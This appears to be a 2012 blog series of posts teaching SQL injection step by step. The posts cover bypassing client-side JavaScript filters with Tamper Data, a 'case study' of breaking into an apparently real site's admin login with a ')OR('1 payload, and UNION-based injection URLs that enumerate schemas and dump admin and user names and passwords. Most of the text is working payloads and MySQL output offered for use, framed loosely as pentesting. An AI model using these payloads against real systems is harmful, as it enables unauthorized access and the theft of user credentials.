Wednesday, July 18, 2012

Modifying POST Parameters

Hello, Friends, So till now, We have somewhat understanding of how and where to inject at the very basics. But Life is not so easy, as its a never ending war between developers and breakers.

Lets see another way to inject.

If you flashback to this blog, I have discussed about the 3-tier logic, and how a request is processed.

Lets say, I have a Login Form in front of me, now I start fuzzing, I try with garbage values, but surprisingly, I do get a same error as "Incorrect Credentials". Though this scenario, is not found in all the cases, but yes you would run into such situations sometimes.

What I do now is check the "View Page Source" (Ctrl+u) and look for the login form code, and If I find something like this:

<form method="POST">
//Code here
<input type="submit" value="Login" onClick = "someJavaScriptFunction(value1, value2)" />
</form>

Then You should understand that Whatever value is being inserted, its getting filtered by the Javascript Code, and hence our input values never reaches the second Layer like the PHP source or ASP etc...

This type of filtration is known as Client Side Filtration.

And the Flow is like this:

Login Form >> (Javascript) >> (PHP/ASP) >> SQL Database

Now If we can change our values when its between Javascript Filter and PHP/ASP, our Job is done.

For this we need a FireFox Addon (Tamper Data) install it.

How To work with it.. After installing Tamper Data, on the browser, click on:

Tools >> Tamper Data >> Start Tamper

Now on the login form, type any value:

Username: admin; Password:idontknow; and then click on Login

Once you do that, You would get option to tamper, click on Tamper, you would see the form data that you typed on the right handside of the Tamper-Data Window..

This is where, you need to change the values again, like using ' or " or \, the way discussed before and keep going until you get what you were looking for.

I know this is little pain, but hey thats how you deal with it.
   
Stay Tuned For more.

Sunday, July 8, 2012

Case Study 1


This is a case study, of a Site that was broken into. And Often I will Be Posting Case Studies To show different ways of fuzzing.

Here I sharing the Way the Admin Panel Was broken.

So, I had the Admin Login Page in front of me, the very first thing I can try is, insert a garbage value, to see the response. If we get an error directly from the database, its good, otherwise its again a different story.

The Username I entered as 'admin' and for password, I entered was '

Microsoft JET Database Engine error '80040e14'

Syntax error in string in query expression '(UID='admin' AND PWD=''');'


Awesome, We got an Error Here, lets try to understand the Error.

The moment I entered ' this broke the normal functionality, Which means insertion of ' made the Query unbalanced somewhere.


'(UID='admin' AND PWD=''');'

Remove the Outer '

(UID='admin' AND PWD=''');

Remove the ;

(UID='admin' AND PWD=''')

lets break it and try to understand.

'  (    UID  =  '  <user_input>  '    AND    PWD = '      <user_input>      '   )  ;'

When user-name: admin and password: '

'  (    UID  =  '  admin  '    AND    PWD = '     '     '   )  ;'

If password is: ')

(    UID  =  '  admin  '    AND    PWD = '      '  )      '   )  ;'

Left Side is kind of balanced, but we do still have an extra single quote.

If Password is: ')OR('1'

(    UID  =  '  admin  '    AND    PWD = '      '  )   OR   (    ' 1  '    )  ;'

Seems Like Balanced, Lets Check It Out.

So I am checking with, username: admin, password: ')OR('1'

Oops Got an error:

Syntax error in string in query expression '(UID='admin' AND PWD='')OR('1'');'.

[Purposely, I made the error, to show you how to understand from errors]

After analysing the error, I do see

PWD='   ')OR('1'   '

Unbalanced Quotes, My bad, We need to remove the last single quote from our query,

So again our username: admin, and password: ')OR('1

Woops it said Welcome Admin.

Thus it is just to show that, using some predefined SQL Query, for breaking panels, would be many a times useless, because fuzzing always depends on the way developers developed it.

Thats All For This post.

Saturday, July 7, 2012

Dumping The Database

Okay, now that we know what are the tables in the Database, we will try to dump the contents of the Table from the Database.

So as we know we have 3 tables, in the 'ckorner' database, viz 'admin', 'products', 'users'

And we also know that the columns of 'admin' are 'id', 'name' and 'pwd', lets now try dumping the records.

So our URL is

www.example.com/products.php?id = 1

Developers side is on the left hand side of '=' and right hand side is for us.

Lets try to frame the query in MySQL server.

The Normal Query:

mysql> select id, product, price from products where id=1;
+------+---------+-------+
| id   | product | price |
+------+---------+-------+
|    1 | printer |  2500 |
+------+---------+-------+
1 row in set (0.00 sec)

mysql>

Now our Fuzzing starts


mysql> select id, product, price from products where id= 1 union select 1,2,table_name from information_schema.tables where table_schema='ckorner';
+------+---------+----------+
| id   | product | price    |
+------+---------+----------+
|    1 | printer | 2500     |
|    1 | 2       | admin    |
|    1 | 2       | products |
|    1 | 2       | users    |
+------+---------+----------+
4 rows in set (0.00 sec)

mysql> select id, product, price from products where id= 1 union select 1,2,column_name from information_schema.columns where table_name='admin';
+------+---------+-------+
| id   | product | price |
+------+---------+-------+
|    1 | printer | 2500  |
|    1 | 2       | id    |
|    1 | 2       | name  |
|    1 | 2       | pwd   |
+------+---------+-------+
4 rows in set (0.00 sec)

mysql> select id, product, price from products where id= 1 union select 1,2,id from ckorner.admin;
+------+---------+-------+
| id   | product | price |
+------+---------+-------+
|    1 | printer |  2500 |
|    1 | 2       |     1 |
|    1 | 2       |     2 |
|    1 | 2       |     3 |
+------+---------+-------+
4 rows in set (0.00 sec)

mysql> select id, product, price from products where id = 1 union select 1,2,name from ckorner.admin;
+------+---------+---------+
| id   | product | price   |
+------+---------+---------+
|    1 | printer | 2500    |
|    1 | 2       | whiskey |
|    1 | 2       | Kumar   |
|    1 | 2       | Onty    |
+------+---------+---------+
4 rows in set (0.00 sec)

mysql> select id, product, price from products where id = 1 union select 1,2,pwd from ckorner.admin;
+------+---------+-------------+
| id   | product | price       |
+------+---------+-------------+
|    1 | printer | 2500        |
|    1 | 2       | whiskey@123 |
|    1 | 2       | kumar@123   |
|    1 | 2       | Onty@123    |
+------+---------+-------------+
4 rows in set (0.00 sec)

mysql> select id, product, price from products where id= 1 union select 1,2,concat(name, pwd) from ckorner.admin;
+------+---------+--------------------+
| id   | product | price              |
+------+---------+--------------------+
|    1 | printer | 2500               |
|    1 | 2       | whiskeywhiskey@123 |
|    1 | 2       | Kumarkumar@123     |
|    1 | 2       | OntyOnty@123       |
+------+---------+--------------------+
4 rows in set (0.00 sec)

mysql> select id, product, price from products where id= 1 union select 1,2,group_concat(name, pwd) from ckorner.admin;
+------+---------+------------------------------------------------+
| id   | product | price                                          |
+------+---------+------------------------------------------------+
|    1 | printer | 2500                                           |
|    1 | 2       | whiskeywhiskey@123,Kumarkumar@123,OntyOnty@123 |
+------+---------+------------------------------------------------+
2 rows in set (0.00 sec)

mysql> select id, product, price from products where id = 9 union select 1,2,group_concat(id, product, price) from ckorner.products;
+------+---------+-------------------------------------------------------+
| id   | product | price                                                 |
+------+---------+-------------------------------------------------------+
|    1 | 2       | 1printer2500,2Laptop15000,3Desktop25000,4pen-drive300 |
+------+---------+-------------------------------------------------------+
1 row in set (0.00 sec)

mysql> select id, product, price from products where id = 9 union select 1,2,group_concat(id, name, pwd) from ckorner.users;
+------+---------+---------------------------------------------------------+
| id   | product | price                                                   |
+------+---------+---------------------------------------------------------+
|    1 | 2       | 1Rishabhrishabh@123,2Web Rulerweb@123,3Mafiozimafia@123 |
+------+---------+---------------------------------------------------------+
1 row in set (0.00 sec)

mysql>


So, we see here, if we know the database name, table name and the columns in the table, we can dump the contents.

Now lets build the same in our URL:

www.example.com/products.php?id = 1 union select 1,2,group_concat(id, name, pwd) from ckorner.users --+

In case the above result doesnt dump the contents, like before we need to give an ID that does exist in the table, i prefer using negative values.

www.example.com/products.php?id = -1 union select 1,2,group_concat(id, name, pwd) from ckorner.users --+

And This would dump all the id, name and pwd records from the 'ckorner' database.

Hope this was informative, Stay Tuned For More.

Monday, July 2, 2012

Dumping The Columns Of A Table

Okay, so now that we know how to find the Table Names, lets try to find the columns in the Tables.

From our Last post we know that the Database has three tables:

admin, products, users

And Our URL:

www.example.com/index.php?id=1

Lets change the URL for better understanding, assume we are on the Products Page Of the Website, where certain product id displays information related the id.

So, www.example.com/products.php?id=1

So in the backend database its something like this,

mysql> select id, product, price from products where id=1;

+------+---------+-------+
| id   | product | price |
+------+---------+-------+
|    1 | printer |  2500 |
+------+---------+-------+
1 row in set (0.00 sec)

mysql>

We know the columns count used is three from the earlier posts.

Now we will see the magic, we are on the products table, but being in this table we will try dumping the data of the other tables in the database.

So Lets check the Simulation First from the MySQL Server.

We will split the query:

SELECT id, product, price FROM products WHERE id = <user input>;

So left hand side is the Developers Code, And Pentester has to work on the Right Hand Side.

We know, the below query will show the tables in the database,

mysql> select * from products where id=1 union select 1,2,table_name from information_schema.tables where table_schema='ckorner';
+------+---------+----------+
| id   | product | price    |
+------+---------+----------+
|    1 | printer | 2500     |
|    1 | 2       | admin    |
|    1 | 2       | products |
|    1 | 2       | users    |
+------+---------+----------+
4 rows in set (0.00 sec)

So lets say we are interested to look for the admin table, so what do we have to do now, we have to find the columns in the admin table.

Database 'information_schema' has a Table named 'column_name' that holds the column names for all the tables in a database. So we will use the 'information_schema' database once again to find the columns in the table 'admin' of database 'ckorner'

mysql> select * from products where id=1 union select 1,2,column_name from information_schema.columns where table_name='admin';
+------+---------+-------+
| id   | product | price |
+------+---------+-------+
|    1 | printer | 2500  |
|    1 | 2       | id    |
|    1 | 2       | name  |
|    1 | 2       | pwd   |
+------+---------+-------+
4 rows in set (0.00 sec)

mysql>

So we get the Columns of 'admin' in the 'ckorner' database. lets try for the other tables in 'ckorner' database.

mysql> select * from products where id=1 union select 1,2,column_name from information_schema.columns where table_name='products';
+------+---------+---------+
| id   | product | price   |
+------+---------+---------+
|    1 | printer | 2500    |
|    1 | 2       | id      |
|    1 | 2       | product |
|    1 | 2       | price   |
+------+---------+---------+
4 rows in set (0.00 sec)

mysql> select * from products where id=1 union select 1,2,column_name from information_schema.columns where table_name='users';
+------+---------+-------+
| id   | product | price |
+------+---------+-------+
|    1 | printer | 2500  |
|    1 | 2       | id    |
|    1 | 2       | name  |
|    1 | 2       | pwd   |
+------+---------+-------+
4 rows in set (0.00 sec)

mysql>

So we see that it easily dumps the column names of other tables (admin, users) inspite of being in a query that is supposed to show the contents 'products' table.

So now we will put our built queries in the URL:

www.example.com/products.php?id=1

www.example.com/products.php?id=1 union select 1,2,column_name from information_schema.columns where table_name='admin'

It dint dump, reason? remember I said, its URL and the parameters has to be hex encoded, you can encode the passing parameter 'admin' from online tools, or you can use our tool to hex encode the paramters.

Download Link: Click Here

hex encode of 'admin' is: 0x61646d696e

Are we still missing out something? remember the comment symbol?

we have to comment out the rest of the queries being passed, so that before the query reaches the database, the remaining queries gets ignored.

www.example.com/products.php?id=1 union select 1,2,column_name from information_schema.columns where table_name=0x61646d696e --+

In Some Cases If It Doesnt Work, You need To change The Id Value With An Id that doesnt exist in the Table like 9999 or -1, using -1 is a sure shot value to dump as there would be no records with -1 value

www.example.com/products.php?id = -1 union select 1,2,column_name from information_schema.columns where table_name=0x61646d696e --+

And this this out display the column names of Table 'admin'.

Thats all for this post, hope this was informative.

Thank You!

Saturday, June 23, 2012

Finding Tables

Finding Table Names

So far, we know how to get the Database Name, Number of Database and All Database Name.

Lets move further and try to get the Table Names:

So we have the URL as

http://www.example.com/index.php?id=1

From our earlier posts, we know that it has THREE columns, Database name is "ckorner", now since the web site is using this Database, we might get some juicy information here, so lets move ahead and try finding the Tables of the Database.

As there are three columns we find, so the developer has made the Query like this:

SELECT col1, col2, col3
FROM table_name
WHERE id = user_input

So we still dont have any idea, what the Table Name is:

Lets first check on MySQL server, if we can make a Query to make the Database display the Table Name

mysql> use information_schema;
Database changed
mysql> select database();
+--------------------+
| database()         |
+--------------------+
| information_schema |
+--------------------+
1 row in set (0.00 sec)

mysql> show tables;
+---------------------------------------+
| Tables_in_information_schema          |
+---------------------------------------+
| CHARACTER_SETS                        |
| COLLATIONS                            |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS                               |
| COLUMN_PRIVILEGES                     |
| ENGINES                               |
| EVENTS                                |
| FILES                                 |
| GLOBAL_STATUS                         |
| GLOBAL_VARIABLES                      |
| KEY_COLUMN_USAGE                      |
| PARAMETERS                            |
| PARTITIONS                            |
| PLUGINS                               |
| PROCESSLIST                           |
| PROFILING                             |
| REFERENTIAL_CONSTRAINTS               |
| ROUTINES                              |
| SCHEMATA                              |
| SCHEMA_PRIVILEGES                     |
| SESSION_STATUS                        |
| SESSION_VARIABLES                     |
| STATISTICS                            |
| TABLES                                |
| TABLESPACES                           |
| TABLE_CONSTRAINTS                     |
| TABLE_PRIVILEGES                      |
| TRIGGERS                              |
| USER_PRIVILEGES                       |
| VIEWS                                 |
| INNODB_CMP_RESET                      |
| INNODB_TRX                            |
| INNODB_CMPMEM_RESET                   |
| INNODB_LOCK_WAITS                     |
| INNODB_CMPMEM                         |
| INNODB_CMP                            |
| INNODB_LOCKS                          |
+---------------------------------------+
37 rows in set (0.00 sec)

mysql> desc information_schema.tables;
+-----------------+---------------------+------+-----+---------+-------+
| Field           | Type                | Null | Key | Default | Extra |
+-----------------+---------------------+------+-----+---------+-------+
| TABLE_CATALOG   | varchar(512)        | NO   |     |         |       |
| TABLE_SCHEMA    | varchar(64)         | NO   |     |         |       |
| TABLE_NAME      | varchar(64)         | NO   |     |         |       |
| TABLE_TYPE      | varchar(64)         | NO   |     |         |       |
| ENGINE          | varchar(64)         | YES  |     | NULL    |       |
| VERSION         | bigint(21) unsigned | YES  |     | NULL    |       |
| ROW_FORMAT      | varchar(10)         | YES  |     | NULL    |       |
| TABLE_ROWS      | bigint(21) unsigned | YES  |     | NULL    |       |
| AVG_ROW_LENGTH  | bigint(21) unsigned | YES  |     | NULL    |       |
| DATA_LENGTH     | bigint(21) unsigned | YES  |     | NULL    |       |
| MAX_DATA_LENGTH | bigint(21) unsigned | YES  |     | NULL    |       |
| INDEX_LENGTH    | bigint(21) unsigned | YES  |     | NULL    |       |
| DATA_FREE       | bigint(21) unsigned | YES  |     | NULL    |       |
| AUTO_INCREMENT  | bigint(21) unsigned | YES  |     | NULL    |       |
| CREATE_TIME     | datetime            | YES  |     | NULL    |       |
| UPDATE_TIME     | datetime            | YES  |     | NULL    |       |
| CHECK_TIME      | datetime            | YES  |     | NULL    |       |
| TABLE_COLLATION | varchar(32)         | YES  |     | NULL    |       |
| CHECKSUM        | bigint(21) unsigned | YES  |     | NULL    |       |
| CREATE_OPTIONS  | varchar(255)        | YES  |     | NULL    |       |
| TABLE_COMMENT   | varchar(2048)       | NO   |     |         |       |
+-----------------+---------------------+------+-----+---------+-------+
21 rows in set (0.00 sec)

mysql> select table_name from information_schema.tables where table_schema='ckorner';
+------------+
| table_name |
+------------+
| admin      |
| products   |
| users      |
+------------+
3 rows in set (0.00 sec)

mysql>

To note Something here, the last query is little complicated, here in one query, we have used two query

In simple words, it says, SELECT the column_name(TABLE_NAME) from Database(information_schema) and Table(TABLES) where table_schema='ckorner'; Table Schema is another column, which holds the all database names. And we know that the Database Name from the Last Post. Moving on..

So, now lets see using another database, how we can get the table name.

mysql> use ckorner;
Database changed
mysql> select * from products where id = 1;
+------+---------+-------+
| id   | name    | price |
+------+---------+-------+
|    1 | Printer |  4500 |
+------+---------+-------+
1 row in set (0.00 sec)

mysql>

Assume here you do not know what is the table_name which is producst here, and the value of id is the user's input.

mysql> select * from products where id = 1 union select 1,2,table_name from information_schema.tables where table_schema='ckorner';
+------+---------+----------+
| id   | name    | price    |
+------+---------+----------+
|    1 | Printer | 4500     |
|    1 | 2       | admin    |
|    1 | 2       | products |
|    1 | 2       | users    |
+------+---------+----------+
4 rows in set (0.00 sec)

mysql>

This example Database has only 3 columns, sometimes when there are lots of tables, the output in the webpage wont fit, in that case, you have to use the LIMIT function.

mysql> select * from products where id = 1 union select 1,2,table_name from info
rmation_schema.tables where table_schema='ckorner' limit 1,1;
+------+------+-------+
| id   | name | price |
+------+------+-------+
|    1 | 2    | admin |
+------+------+-------+
1 row in set (0.00 sec)

mysql> select * from products where id = 1 union select 1,2,table_name from info
rmation_schema.tables where table_schema='ckorner' limit 2,1;
+------+------+----------+
| id   | name | price    |
+------+------+----------+
|    1 | 2    | products |
+------+------+----------+
1 row in set (0.00 sec)

mysql> select * from products where id = 1 union select 1,2,table_name from info
rmation_schema.tables where table_schema='ckorner' limit 3,1;
+------+------+-------+
| id   | name | price |
+------+------+-------+
|    1 | 2    | users |
+------+------+-------+
1 row in set (0.00 sec)

mysql>

So, in this way, we found that there are three tables in the 'ckorner' database, namely, admin, products and users.

So lets quickly frame it in our URL:

http://www.example.com/index.php?id = 1 ' union select 1,2,table_name from information_schema.tables where table_schema='ckorner'  --+

Note here we are working with URL, so we need to hexencode our database name ie. ckorner.

You can use the online hexencoders to encode it or you can also use Our h3xc0d3r tool, to encode/decode Offline from here:

Click Here To Go To Download Page

So, the Query that would show us Tables are:

http://www.example.com/index.php?id = 1 ' union select 1,2,table_name from information_schema.tables where table_schema= 636b6f726e6572 --+

NOTE: After converting a string to hex, and then passing to the URL, you must prepend '0x' to the hex value, otherwise it wont work.

http://www.example.com/index.php?id = 1 ' union select 1,2,table_name from information_schema.tables where table_schema= 0x636b6f726e6572 --+

And Thus We Would have all the Tables Names in the 'ckorner' Database, Do not forget about the LIMIT function in case, the output crosses the page limit.

Ex:

http://www.example.com/index.php?id = 1 ' union select 1,2,table_name from information_schema.tables where table_schema= 0x636b6f726e6572 LIMIT 1,1--+

http://www.example.com/index.php?id = 1 ' union select 1,2,table_name from information_schema.tables where table_schema= 0x636b6f726e6572 LIMIT 2,1--+

http://www.example.com/index.php?id = 1 ' union select 1,2,table_name from information_schema.tables where table_schema= 0x636b6f726e6572 LIMIT 3,1--+

This would give the Table Names One At a Time.

Thats All For This Post. Thank You

Monday, June 18, 2012

Probing The Database

Probing The Database

Okay, so now that we have the number of columns, database name and the Vulnerable Column(Injectable Column)

Lets take our step ahead into probing more into the database for further information.

A Quick Review:

http://www.example.com/index.php?id = 1
http://www.example.com/index.php?id = 1'    --+
http://www.example.com/index.php?id=1' ORDER BY 3 --+ << Col Count is 3 as 4 gives Error
http://www.example.com/index.php?id = 1' UNION SELECT 1,2,3   --+ << This shows all 3 col
http://www.example.com/index.php?id = -1' UNION SELECT database(),current_user(),@@version   --+

Now lets try to see the Tables.

As Usual first lets check in through MySQL, now the reason we check for the MySQL version becuase, MySQL version 5 and above has a database named information_schema, which is like a template which holds information about all database and tables. And we will use this to probe for data from databases.

in version 5 and above, information_schema is a template of all databases.

Now on the left side we have

SELECT * FROM Products where id = 1; << The normal workflow

Now we have to work on the right side,

Now as a pen tester we dont have any idea, how many database are there, their names, tables, columns etc. So lets see how we can probe and dump some information.

Lets first build our Query in MySQL server

1. To find the current database

mysql> select database();
+------------+
| database() |
+------------+
| ckorner    |
+------------+
1 row in set (0.00 sec)

2. To see all tables

mysql> show tables;
+-------------------+
| Tables_in_ckorner |
+-------------------+
| admin             |
| products          |
| users             |
+-------------------+
3 rows in set (0.00 sec)

But we cannot use 'show' command in our URL Query so this is invalid.

3. Find the Number of column in Use:


mysql> select * from products where id = 1 order by 4;
ERROR 1054 (42S22): Unknown column '4' in 'order clause'
mysql> select * from products where id = 1 order by 3;
+------+---------+-------+
| id   | name    | price |
+------+---------+-------+
|    1 | Printer |  4500 |
+------+---------+-------+
1 row in set (0.00 sec)

So 3 columns in use;

4. To find the Injectable Columns:

mysql> select * from products where id = 1 union select "foo", "baar", "spam";
+------+---------+-------+
| id   | name    | price |
+------+---------+-------+
| 1    | Printer | 4500  |
| foo  | baar    | spam  |
+------+---------+-------+
2 rows in set (0.00 sec)

mysql> select * from products where id = 1 union select 1,2,3;
+------+---------+-------+
| id   | name    | price |
+------+---------+-------+
|    1 | Printer |  4500 |
|    1 | 2       |     3 |
+------+---------+-------+
2 rows in set (0.00 sec)

Okay, seems all Columns are injectable;

5. Finding database name, version

mysql> select * from products where id = 1 union select @@version,database(),3;
+--------+---------+-------+
| id     | name    | price |
+--------+---------+-------+
| 1      | Printer |  4500 |
| 5.5.16 | ckorner |     3 |
+--------+---------+-------+
2 rows in set (0.00 sec)

6. To find number of database

mysql> select * from products where id = 1 union select count(database()),2,3 from information_schema.schemata;
+------+---------+-------+
| id   | name    | price |
+------+---------+-------+
|    1 | Printer |  4500 |
|    8 | 2       |     3 |
+------+---------+-------+
2 rows in set (0.00 sec)

So, this has 8 database;

7. Lets try to get the names of all Databases

mysql> select * from products where id = 1 union select table_schema,2,3 from information_schema.tables;
+--------------------+---------+-------+
| id                 | name    | price |
+--------------------+---------+-------+
| 1                  | Printer |  4500 |
| information_schema | 2       |     3 |
| cdcol              | 2       |     3 |
| ckorner            | 2       |     3 |
| mysql              | 2       |     3 |
| performance_schema | 2       |     3 |
| phpmyadmin         | 2       |     3 |
| webauth            | 2       |     3 |
+--------------------+---------+-------+
8 rows in set (0.00 sec)

"information_schema" is a common database in all MySQL version 5 and above.

Lets check the information_schema database

mysql> use information_schema;
Database changed
mysql> show tables;
+---------------------------------------+
| Tables_in_information_schema          |
+---------------------------------------+
| CHARACTER_SETS                        |
| COLLATIONS                            |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS                               |
| COLUMN_PRIVILEGES                     |
| ENGINES                               |
| EVENTS                                |
| FILES                                 |
| GLOBAL_STATUS                         |
| GLOBAL_VARIABLES                      |
| KEY_COLUMN_USAGE                      |
| PARAMETERS                            |
| PARTITIONS                            |
| PLUGINS                               |
| PROCESSLIST                           |
| PROFILING                             |
| REFERENTIAL_CONSTRAINTS               |
| ROUTINES                              |
| SCHEMATA                              |
| SCHEMA_PRIVILEGES                     |
| SESSION_STATUS                        |
| SESSION_VARIABLES                     |
| STATISTICS                            |
| TABLES                                |
| TABLESPACES                           |
| TABLE_CONSTRAINTS                     |
| TABLE_PRIVILEGES                      |
| TRIGGERS                              |
| USER_PRIVILEGES                       |
| VIEWS                                 |
| INNODB_CMP_RESET                      |
| INNODB_TRX                            |
| INNODB_CMPMEM_RESET                   |
| INNODB_LOCK_WAITS                     |
| INNODB_CMPMEM                         |
| INNODB_CMP                            |
| INNODB_LOCKS                          |
+---------------------------------------+
37 rows in set (0.00 sec)

mysql> desc tables;
+-----------------+---------------------+------+-----+---------+-------+
| Field           | Type                | Null | Key | Default | Extra |
+-----------------+---------------------+------+-----+---------+-------+
| TABLE_CATALOG   | varchar(512)        | NO   |     |         |       |
| TABLE_SCHEMA    | varchar(64)         | NO   |     |         |       |
| TABLE_NAME      | varchar(64)         | NO   |     |         |       |
| TABLE_TYPE      | varchar(64)         | NO   |     |         |       |
| ENGINE          | varchar(64)         | YES  |     | NULL    |       |
| VERSION         | bigint(21) unsigned | YES  |     | NULL    |       |
| ROW_FORMAT      | varchar(10)         | YES  |     | NULL    |       |
| TABLE_ROWS      | bigint(21) unsigned | YES  |     | NULL    |       |
| AVG_ROW_LENGTH  | bigint(21) unsigned | YES  |     | NULL    |       |
| DATA_LENGTH     | bigint(21) unsigned | YES  |     | NULL    |       |
| MAX_DATA_LENGTH | bigint(21) unsigned | YES  |     | NULL    |       |
| INDEX_LENGTH    | bigint(21) unsigned | YES  |     | NULL    |       |
| DATA_FREE       | bigint(21) unsigned | YES  |     | NULL    |       |
| AUTO_INCREMENT  | bigint(21) unsigned | YES  |     | NULL    |       |
| CREATE_TIME     | datetime            | YES  |     | NULL    |       |
| UPDATE_TIME     | datetime            | YES  |     | NULL    |       |
| CHECK_TIME      | datetime            | YES  |     | NULL    |       |
| TABLE_COLLATION | varchar(32)         | YES  |     | NULL    |       |
| CHECKSUM        | bigint(21) unsigned | YES  |     | NULL    |       |
| CREATE_OPTIONS  | varchar(255)        | YES  |     | NULL    |       |
| TABLE_COMMENT   | varchar(2048)       | NO   |     |         |       |
+-----------------+---------------------+------+-----+---------+-------+
21 rows in set (0.00 sec)

mysql> desc columns;
+--------------------------+---------------------+------+-----+---------+-------
+
| Field                    | Type                | Null | Key | Default | Extra
|
+--------------------------+---------------------+------+-----+---------+-------
+
| TABLE_CATALOG            | varchar(512)        | NO   |     |         |
|
| TABLE_SCHEMA             | varchar(64)         | NO   |     |         |
|
| TABLE_NAME               | varchar(64)         | NO   |     |         |
|
| COLUMN_NAME              | varchar(64)         | NO   |     |         |
|
| ORDINAL_POSITION         | bigint(21) unsigned | NO   |     | 0       |
|
| COLUMN_DEFAULT           | longtext            | YES  |     | NULL    |
|
| IS_NULLABLE              | varchar(3)          | NO   |     |         |
|
| DATA_TYPE                | varchar(64)         | NO   |     |         |
|
| CHARACTER_MAXIMUM_LENGTH | bigint(21) unsigned | YES  |     | NULL    |
|
| CHARACTER_OCTET_LENGTH   | bigint(21) unsigned | YES  |     | NULL    |
|
| NUMERIC_PRECISION        | bigint(21) unsigned | YES  |     | NULL    |
|
| NUMERIC_SCALE            | bigint(21) unsigned | YES  |     | NULL    |
|
| CHARACTER_SET_NAME       | varchar(32)         | YES  |     | NULL    |
|
| COLLATION_NAME           | varchar(32)         | YES  |     | NULL    |
|
| COLUMN_TYPE              | longtext            | NO   |     | NULL    |
|
| COLUMN_KEY               | varchar(3)          | NO   |     |         |
|
| EXTRA                    | varchar(27)         | NO   |     |         |
|
| PRIVILEGES               | varchar(80)         | NO   |     |         |
|
| COLUMN_COMMENT           | varchar(1024)       | NO   |     |         |
|
+--------------------------+---------------------+------+-----+---------+-------
+
19 rows in set (0.00 sec)

mysql>

This database doesn't seem interesting as of now, but in later post, we will see how important this database is.

So lets frame our Queries in the URL:

http://www.example.com/index.php?id= 1' union select 1,2,3--+

http://www.example.com/index.php?id= -1' union select count(database()),2,3 from information_schema.schemata--+

http://www.example.com/index.php?id= -1' union select table_schema,2,3 from information_schema.tables--+

The use of (-1) has already been explained, so that should not be a Question as to why -1

So this is all for this post, more in next post, hope you are Enjoying it.

Thank You!

Friday, June 15, 2012

Finding Injectable Column

Finding Injectable Column

Okay so now that we know how to find out columns count using 'order by' lets take one step further, and lets try to find out the injectable column(Or the attacking column, which would display our query result)

So lets assume we have the same URL:

http://www.example.com/index.php?id=1

And we know there are 3 columns.

http://www.example.com/index.php?id= '   1'        --+'

http://www.example.com/index.php?id= 1' ORDER BY 3--+ >> No Error or Blank Page
http://www.example.com/index.php?id= 1' ORDER BY 4--+ >> Error

So we know there are three columns.

Now lets try to find out the injectable column, and for this we use 'UNION' Query with Another Select Statement.

Now if we look at the URL carefully...

http://www.example.com/index.php?id=1

In SQL,
SELECT col1, col2, col3 FROM products WHERE id=1; (We know there are three columns by the 'ORDER BY' Query)

Now left side is using three columns, we have to balance it by using 3 columns on the right side.

SELECT col1, col2, col3 FROM products WHERE id = 1 UNION SELECT col1,col2,col3;

Lets check the same in SQL First

===================================================================
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 3
Server version: 5.5.16 MySQL Community Server (GPL)

Copyright (c) 2000, 2011, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| cdcol              |
| ckorner            |
| mysql              |
| performance_schema |
| phpmyadmin         |
| test               |
| webauth            |
+--------------------+
8 rows in set (0.00 sec)

mysql> use ckorner;
Database changed
mysql> select * from products where id = 1;
+------+---------+-------+
| id   | name    | price |
+------+---------+-------+
|    1 | Printer |  4500 |
+------+---------+-------+
1 row in set (0.00 sec)

mysql> select * from products where id = 1 order by 4;
ERROR 1054 (42S22): Unknown column '4' in 'order clause'
mysql> select * from products where id = 1 order by 3;
+------+---------+-------+
| id   | name    | price |
+------+---------+-------+
|    1 | Printer |  4500 |
+------+---------+-------+
1 row in set (0.00 sec)

mysql> select * from products where id = 1 union select 1,2,3;
+------+---------+-------+
| id   | name    | price |
+------+---------+-------+
|    1 | Printer |  4500 |
|    1 | 2       |     3 |
+------+---------+-------+
2 rows in set (0.00 sec)

mysql> select * from products where id = 1 union select Null, "foo", "bar";
+------+---------+-------+
| id   | name    | price |
+------+---------+-------+
|    1 | Printer | 4500  |
| NULL | foo     | bar   |
+------+---------+-------+
2 rows in set (0.00 sec)

mysql> select * from products where id = 1 union select Null, 20, 50;
+------+---------+-------+
| id   | name    | price |
+------+---------+-------+
|    1 | Printer |  4500 |
| NULL | 20      |    50 |
+------+---------+-------+
2 rows in set (0.00 sec)

mysql> select * from products where id = 1 union select Null, Null, Null;
+------+---------+-------+
| id   | name    | price |
+------+---------+-------+
|    1 | Printer |  4500 |
| NULL | NULL    |  NULL |
+------+---------+-------+
2 rows in set (0.00 sec)

mysql> select * from products where id = 1 union select database(), Null, Null;
+---------+---------+-------+
| id      | name    | price |
+---------+---------+-------+
| 1       | Printer |  4500 |
| ckorner | NULL    |  NULL |
+---------+---------+-------+
2 rows in set (0.00 sec)

mysql> select * from products where id = 1 union select database(), current_user(), @@version;
+---------+----------------+--------+
| id      | name           | price  |
+---------+----------------+--------+
| 1       | Printer        | 4500   |
| ckorner | root@localhost | 5.5.16 |
+---------+----------------+--------+
2 rows in set (0.00 sec)

mysql> quit;

=====================================================================

Okay here, 'union' has a very basic work, it just balances both sides, by adding a false value, and shows column number where we can inject our query.

Generally we do 'union select 1,2,3,4...and go on' But sometimes, we might see same number appearing twice, it is then when we change the numbers like 10,20,Null,"Foo", etc to distinguish.

So in this case,

http://www.example.com/index.php?id= '   1'   union select 1,2,3     --+'

Displayed 1 2 3 means all the columns are injectable, it it would have displayed 2, means only column 2 is injectable, and so on.

So, if we send a Query like this:
http://www.example.com/index.php?id= 1' union select database(),@@version,current_user()  --+

This will Display The Normal Page, because there is No Error. So we need to generate the error, not by removing the single quote, but by giving an arbitrary select value

http://www.example.com/index.php?id= 99' union select database(),@@version,current_user()  --+

or,

http://www.example.com/index.php?id=  -1' union select database(),@@version,current_user() --+

This will display:
ckorner  5.5.16  root@localhost 
Where,
ckorner << Database Name
5.5.16  << MySQL Version
root@localhost << current user

Thats all for this post.

Thank You!

Monday, June 11, 2012

Finding Columns

I have already Discussed how to find the vulnerable parameter for injecting SQL Query.

Note: If some query has worked for fuzzing one website, this doesnt means the same would work for the others.

It all depends on how the filtration process is done.

So this is our next Step towards SQL Injection.

Lets say we have an URL

http://www.example.com/index.php?id=1

And lets assume that appending a single quote broke the normal workflow and gave an Error.

http://www.example.com/index.php?id=1'

